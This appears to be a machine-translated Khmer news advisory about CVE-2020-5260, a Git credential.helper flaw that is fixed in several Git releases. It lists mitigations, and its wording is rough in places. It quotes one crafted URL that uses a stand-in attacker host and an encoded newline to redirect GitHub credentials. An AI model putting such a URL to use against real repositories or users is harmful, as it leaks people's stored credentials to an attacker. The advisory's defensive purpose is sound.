Git ភាពងាយរងគ្រោះនៃការលេចធ្លាយព័ត៌មានសម្ងាត់

បោះពុម្ពផ្សាយ ការចេញផ្សាយការកែតម្រូវនៃប្រព័ន្ធគ្រប់គ្រងប្រភពចែកចាយ Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 និង 2.17.4 នៅក្នុង ដែលបានលុបចោល ភាពងាយរងគ្រោះ (CVE-2020-5260) នៅក្នុងអ្នកដោះស្រាយ "credential.helper" ដែលបណ្តាលឱ្យមានការផ្ញើលិខិតសម្គាល់ទៅម៉ាស៊ីនខុស នៅពេលដែលអតិថិជន git ចូលប្រើឃ្លាំងដោយប្រើ URL ដែលធ្វើទ្រង់ទ្រាយពិសេសដែលមានតួអក្សរបន្ទាត់ថ្មី។ ភាពងាយរងគ្រោះអាចត្រូវបានប្រើដើម្បីរៀបចំឱ្យមានព័ត៌មានសម្ងាត់ពីម៉ាស៊ីនផ្សេងទៀតដែលត្រូវបានបញ្ជូនទៅម៉ាស៊ីនមេដែលគ្រប់គ្រងដោយអ្នកវាយប្រហារ។

នៅពេលបញ្ជាក់ URL ដូចជា “https://evil.com?%0ahost=github.com/” អ្នកដោះស្រាយព័ត៌មានសម្ងាត់នៅពេលភ្ជាប់ទៅ host evil.com នឹងឆ្លងកាត់ប៉ារ៉ាម៉ែត្រផ្ទៀងផ្ទាត់ដែលបានបញ្ជាក់សម្រាប់ github.com ។ បញ្ហាកើតឡើងនៅពេលអនុវត្តប្រតិបត្តិការដូចជា "git clone" រួមទាំងដំណើរការ URLs សម្រាប់ម៉ូឌុលរង (ឧទាហរណ៍ "git submodule update" នឹងដំណើរការដោយស្វ័យប្រវត្តិនូវ URLs ដែលបានបញ្ជាក់នៅក្នុងឯកសារ .gitmodules ពីឃ្លាំង)។ ភាពងាយរងគ្រោះគឺមានគ្រោះថ្នាក់បំផុតនៅក្នុងស្ថានភាពដែលអ្នកអភិវឌ្ឍន៍ក្លូនឃ្លាំងដោយមិនឃើញ URL ឧទាហរណ៍នៅពេលធ្វើការជាមួយម៉ូឌុលរង ឬនៅក្នុងប្រព័ន្ធដែលធ្វើសកម្មភាពដោយស្វ័យប្រវត្តិ ឧទាហរណ៍នៅក្នុងស្គ្រីបបង្កើតកញ្ចប់។

ដើម្បីទប់ស្កាត់ភាពងាយរងគ្រោះនៅក្នុងកំណែថ្មី។ ត្រូវបានហាមឃាត់។ ឆ្លងកាត់តួអក្សរបន្ទាត់ថ្មីនៅក្នុងតម្លៃណាមួយដែលបានបញ្ជូនតាមរយៈពិធីការការផ្លាស់ប្តូរលិខិតសម្គាល់។ សម្រាប់ការចែកចាយ អ្នកអាចតាមដានការចេញផ្សាយបច្ចុប្បន្នភាពកញ្ចប់នៅលើទំព័រ ដេបៀន, គូប៊ុនទូ, អរ, SUSE/openSUSE, Fedora, សំខាន់បំផុត, FreeBSD.

ជាដំណោះស្រាយដើម្បីទប់ស្កាត់បញ្ហា បានណែនាំ កុំប្រើ credential.helper នៅពេលចូលប្រើឃ្លាំងសាធារណៈ ហើយកុំប្រើ "git clone" នៅក្នុងរបៀប "--recurse-submodules" ជាមួយនឹងឃ្លាំងដែលមិនបានត្រួតពិនិត្យ។ ដើម្បីបិទទាំងស្រុង credential.helper handler ដែលធ្វើ ការអភិរក្ស និងការទាញយកពាក្យសម្ងាត់ពី ឃ្លាំង​សម្ងាត់, ការពារ ឃ្លាំង ឬឯកសារដែលមានពាក្យសម្ងាត់ អ្នកអាចប្រើពាក្យបញ្ជា៖

git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper

ប្រភព: opennet.ru